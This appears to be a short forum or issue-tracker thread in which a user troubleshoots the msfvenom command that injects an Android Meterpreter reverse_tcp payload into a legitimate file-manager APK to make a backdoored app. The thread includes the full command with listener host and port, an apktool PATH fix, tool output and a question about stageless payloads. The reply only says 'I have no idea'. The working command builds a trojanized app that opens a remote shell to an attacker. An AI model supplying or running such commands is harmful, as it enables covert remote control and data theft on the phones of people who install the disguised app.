Backdoring APK Files

[gabriel-maxx]

hello I would like to know what this is because it is not working when I use the command:

msfvenom -x filemanager.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 -o backdored.apk

Error: apktool not found. If it's not in your PATH, please add it.

so i do SET PATH=%PATH%;C:\apktool

and this time I don't have the apktool error but another message appears and nothing happens, it's infinite like that.

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload

@bcoles Thanks now everything is working perfectly but I have one last question, when I try to use stageless this message appears Error: Stageless Android payloads (e.g android/meterpreter_reverse_tcp) are not compatible with injection (-x)
Could you explain to me why it is not compatible?

I have no idea
